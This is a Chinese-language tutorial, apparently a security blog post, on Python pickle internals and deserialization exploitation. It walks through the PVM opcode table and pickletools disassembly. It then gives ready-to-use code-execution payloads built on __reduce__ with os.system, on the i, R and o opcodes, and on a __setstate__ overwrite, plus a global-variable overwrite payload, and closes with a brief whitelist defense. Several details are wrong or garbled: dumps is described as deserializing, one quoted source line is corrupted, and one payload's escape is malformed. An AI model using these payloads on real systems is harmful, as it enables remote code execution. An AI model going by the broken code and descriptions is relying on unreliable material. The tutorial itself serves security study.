基础知识
pickle库及函数
pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
常用的函数
函数 | 说明 |
---|---|
dumps | 对象反序列化为bytes对象 |
dump | 对象反序列化到文件对象,存入文件 |
loads | 从bytes对象反序列化 |
load | 对象反序列化,从文件中读取数据 |
我们举例来看看
序列化
pickle.dump()方法将obj对象序列化为字节(bytes)写入到file文件中
pickle.dump(obj, file, protocol=None, *, fix_imports=True)
pickle.dumps()方法将obj对象序列化并返回一个bytes对象
pickle.dumps(obj, protocol=None, *, fix_imports=True)
pickle构造出的字符串,有很多个版本。在pickle.dumps时,可以用Protocol参数指定协议版本,版本向前兼容
反序列化
pickle.load()方法从file对象文件中读取序列化数据,将其反序列化之后返回一个对象
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
pickle.loads()方法将bytes_object反序列化并返回一个对象
pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")
需要注意的一点:注意:对于我们自己定义的class,如果直接以 data=‘aaa’ 的方式赋初值,则这个date不会被打包,解决方案是写一个__init__()方法
import pickle
class Test1():
data = 'aaa'
class Test2():
def __init__(self):
self.data = 'aaa'
test1 = Test1()
test2 = Test2()
print(pickle.dumps(test1))
print(pickle.dumps(test2))
_Unpickler
pickle.load()和pickle.loads()方法的底层实现是基于 _Unpickler()方法来反序列化。
在反序列化过程中,_Unpickler
(以下称为机器吧)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图):
为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools
。
pickletools
pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。
PVM(python虚拟机)
当运行python程序的时候,python解释器会将源代码编译成字节码,然后交给 PVM 循环迭代字节码指令
字节码,如果python有写入的权限,那么会生成一个 .pyc 的字节码文件,若没有那就再内存中生成字节码,程序结束后丢弃。
在上图中字符串 s 是一串指令,学名叫PVM指令。
PVM指令集,用的时候可以查,在pickle库里
# Pickle opcodes. See pickletools.py for extensive docs. The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
列出几个比较重要的操作码:
c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object 作为可调用对象压入到栈中 ( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置,该标记常常搭配 t 指令一起使用 , 以便产生一个元组 S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中 t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号,此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中 R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中 . : 结束整个 Pickle 反序列化过程
注意:PVM 指令的书写规范
(1)操作码是单字节的
(2)带参数的指令用换行符定界
OPCode(操作码)
在py3和py2中得到的opcode不相同,但pickle向下前兼容,我们可以用v0版本来解决兼容性。
Python 参数前的(*)和(**)
这两种用法其实都是用来将任意个数的参数导入到 Python 函数中。
一个(*)–将所有参数以元组的形式导入
两个(**)–将所有参数以字典的形式导入
两个方法也可以用在一个函数。
反序列化过程分析
import pickle,pickletools
class Test1():
def __init__(self):
self.data = 'lees'
test1 = Test1()
s = pickle.dumps(test1,protocol=3)
s = pickletools.optimize(s)
#优化字符串,也就是去掉不必要的 PUT指令----PUT意思是把当前栈的栈顶复制一份,放进储存区
print(s)
pickletools.dis(s)
#反汇编
b'\x80\x03c__main__\nTest1\n)\x81}X\x04\x00\x00\x00dataX\x04\x00\x00\x00leessb.'
\x80
:接收pickle的版本,这里为\x03
c
:读取一行作为模块名__main__,再读取一行作为类名Test1,再通过find_class()获取到Test1对象,并压入stack栈
stack:[<class '__main__.Test1'>]
)
:压入一个空元组到stack栈中
stack:[<class '__main__.Test1'>,()]
\x81
:从栈弹出两个数据,()赋值给args,<class ‘__main__.Test1’>赋值给cls,再通过__new__()实例化对象,并压入stack栈中
stack:[<class '__main__.Test1'>]
}
:压入一个空字典到栈里
stack:[<class '__main__.Test1'>,{}]
X
:接收字符串的长度,这里为\x04\x00\x00\x00接收到data,\x04\x00\x00\x00接收到 lees,都存入栈中
stack:[<class '__main__.Test1'>,{},'data','lees']
s
:弹出两个数据,存入那个空字典中,并压入栈
stack:[<class '__main__.Test1'>,{'data':'lees'}]
b
:弹出 {‘data’:‘lees’} 给state,弹出 <class ‘__main__.Test1’> 给inst,如果inst中存在__setstate__方法,则直接用setstate来处理state,setstate(state),如果不存在,则直接将state存入inst.__dict__中。
stack:[]
.
:结束反序列化。
反序列化漏洞利用
从上面的例子可以看出反序列化的过程完全可控,因此我们可以构造pickle,我们可以根据实例来理解构造的payload。
__reduce__()
python序列化主要有三个过程:从对象中提取所有属性—>写入对象的所有模块名和类名—>写入对象所有属性的键值对。
python反序列化漏洞的产生和php的魔术方法有异曲同工之处,在Python2中的 __reduce__() 方法,会在每次的反序列化开始或结束时调用。它的指令码是R
。
__reduce__()方法
在新式类中生效,不带参数,应返回字符串或一个元组。
如果返回一个字符串,该字符串应该被解释为全局变量的名称,它应该是对象相对于其模块的本地名称。
当返回一个元组时,它必须包含两到五个成员。可选成员可以省略,也可以提供None作为其值。
每个成员的意义是按顺序规定的:
第一个成员,将被调用的对象,callable。
第二个成员,可调用对象的参数的元组。如果callable不接受任何参数,则必须给出一个空元组。
当Python定义的类中的__reduce__函数返回的元组包含危险代码或可控,就会造成代码执行。
payload:
import pickle
import os
class A(object):
def __reduce__(self):
return (os.system,('ls /',))
a = A()
test = pickle.dumps(a)
print(pickle.loads(test))
全局变量覆盖
import pickle
import secret
class Test1:
def __init__(self):
self.animal="lees"
def check(self):
if self.animal==secret.best:
print("good!")
code="your code"
pickle.loads(code)
在这个例子中,我们是不知道secret模块的,但在Test1类中有要进行判断才能输出good,所以我们只要修改secret的best为lees即可。我们导入一个模块会进入内存,然后我们在内存重构secret使之等于lees。(Python按行解释代码)
c操作符调用find_class()来获取对象,而模块、属性都可控,那可以构造payload为:
code=b'\x80\x03c__main__\nsecret\n}X\x04\x00\x00\x00bestX\x04\x00\x00\x00leessb0c__main__\nTest1\n)\x81}X\x04\x00\x00\x00nameX\x04\x00\x00\x00leessb.'
函数执行
与函数执行的操作码有i、R、o、b
- i操作码
def load_inst(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self._instantiate(klass, self.pop_mark())
dispatch[INST[0]] = load_inst
#通过find_class获取方法(os.system),再通过pop_mark获得参数(whomai),并通过_instantiate来执行
def pop_mark(self):
items = self.stack
self.stack = self.metastack.pop()
self.append = self.stack.append
return items
#获取stack栈所有为item,然后弹出metastack栈赋值给stack栈,返回item
def load_mark(self):
self.metastack.append(self.stack)
self.stack = []
self.append = self.stack.append
dispatch[MARK[0]] = load_mark
# ( 操作符
payload:
b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
利用 ( 先将whoami存到metastack栈中,在执行 i 操作
- R操作码
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)
dispatch[REDUCE[0]] = load_reduce
#弹出一个数据作为参数(必须是元组),当前stack栈最后一个数据作为函数并执行
def load_tuple1(self):
self.stack[-1] = (self.stack[-1],)
dispatch[TUPLE1[0]] = load_tuple1
#\x85将最后一个数据改成元组形式并压到stack栈
payload:
b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
- o操作码
def load_obj(self):
# Stack is ... markobject classobject arg1 arg2 ...
args = self.pop_mark()
cls = args.pop(0)
self._instantiate执行(cls, args)
dispatch[OBJ[0]] = load_obj
#弹栈,将函数和参数交给_instantiate执行
payload:
b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'
- b
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
#上面实例分析有,不在复述
- payload
class lees:
pass
b'\x80\x03c__main__\lees\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
pker工具
pker工具可以仿python产生pickle opcode,当让还是建议手撸,pker辅助。
防御
为了解决pickle反序列化的问题,官方给的方法是重写Unpickler.find_class()
加入白名单来解决,并且给出警告:对于允许反序列化的对象必须要保持警惕。对于开发者而言,如果实在要给用户反序列化的权限,最好使用双白名单限制module
和name
并充分考虑到白名单中的各模块和各函数是否有危险。
参考:
https://zhuanlan.zhihu.com/p/89132768
https://tttang.com/archive/1294/#toc_python
https://xz.aliyun.com/t/7436
欢迎关注公众号,不定时发布漏洞POC。